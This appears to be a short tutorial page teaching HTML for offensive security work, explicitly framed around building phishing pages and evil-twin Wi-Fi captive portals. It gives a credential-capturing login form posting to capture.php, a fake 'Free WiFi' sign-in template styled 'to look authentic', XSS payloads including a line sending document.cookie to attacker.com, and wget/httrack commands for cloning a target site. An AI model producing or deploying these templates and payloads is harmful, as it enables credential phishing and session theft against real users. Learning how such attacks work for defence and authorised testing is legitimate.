HTML - HyperText Markup Language

2 min readArticle

HTML is the skeleton of every web page. For security work, you need HTML knowledge to build phishing pages, captive portals, evil twin login pages, understand XSS vulnerabilities, and read/clone existing web pages. It's not programming — it's markup that describes structure.

Basic Document Structure

html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login - Company Portal</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
    <!-- Your content here -->
    <script src="script.js"></script>
</body>
</html>

Common Elements

html

<!-- Headings -->
<h1>Main Title</h1>
<h2>Subtitle</h2>

<!-- Paragraphs and text -->
<p>Body text goes here.</p>
<strong>Bold text</strong>
<em>Italic text</em>

<!-- Links -->
<a href="https://google.com">Click here</a>
<a href="page.html">Internal link</a>

<!-- Images -->
<img src="logo.png" alt="Company Logo" width="200">

<!-- Containers -->
<div class="container">...</div>
<span class="label">...</span>

Forms (Critical for Phishing Pages)

html

<form action="capture.php" method="POST">
    <div class="form-group">
        <label for="email">Email Address</label>
        <input type="email" id="email" name="username" 
               placeholder="Enter email" required>
    </div>
    
    <div class="form-group">
        <label for="pass">Password</label>
        <input type="password" id="pass" name="password" 
               placeholder="Enter password" required>
    </div>
    
    <button type="submit">Sign In</button>
</form>

Input Types

html

<input type="text">        <!-- Plain text -->
<input type="password">    <!-- Masked input -->
<input type="email">       <!-- Email validation -->
<input type="number">      <!-- Numbers only -->
<input type="checkbox">    <!-- Checkbox -->
<input type="hidden" name="redirect" value="/dashboard">  <!-- Hidden field -->
<textarea name="message" rows="4"></textarea>
<select name="role">
    <option value="user">User</option>
    <option value="admin">Admin</option>
</select>

XSS Payloads in HTML Context

Understanding HTML helps understand XSS:

html

<!-- Reflected XSS if user input goes into href -->
<a href="javascript:alert('XSS')">Click</a>

<!-- Script injection if input isn't sanitized -->
<script>alert('XSS')</script>

<!-- Event handler injection -->
<img src="x" onerror="alert('XSS')">
<input onfocus="alert('XSS')" autofocus>

<!-- Data exfiltration via XSS -->
<script>
document.location='http://attacker.com/?c='+document.cookie;
</script>

Captive Portal / Evil Twin Template Structure

html

<!DOCTYPE html>
<html>
<head>
    <title>Free WiFi - Terms of Service</title>
    <link rel="icon" href="company_favicon.ico">
    <style>/* inline CSS to look authentic */</style>
</head>
<body>
    <div class="login-container">
        <img src="logo.png" alt="Logo">
        <h2>Sign in with your account</h2>
        <form action="post.php" method="POST">
            <input type="email" name="email" placeholder="Email">
            <input type="password" name="pass" placeholder="Password">
            <button type="submit">Connect</button>
        </form>
    </div>
</body>
</html>

Cloning a Website

bash

# Use wget to clone a site
wget --mirror --convert-links --adjust-extension --page-requisites --no-parent https://target.com

# Or use httrack
httrack https://target.com -O ./cloned_site

HTML - HyperText Markup Language

Basic Document Structure

Common Elements

Forms (Critical for Phishing Pages)

Input Types

XSS Payloads in HTML Context

Captive Portal / Evil Twin Template Structure

Cloning a Website

See Also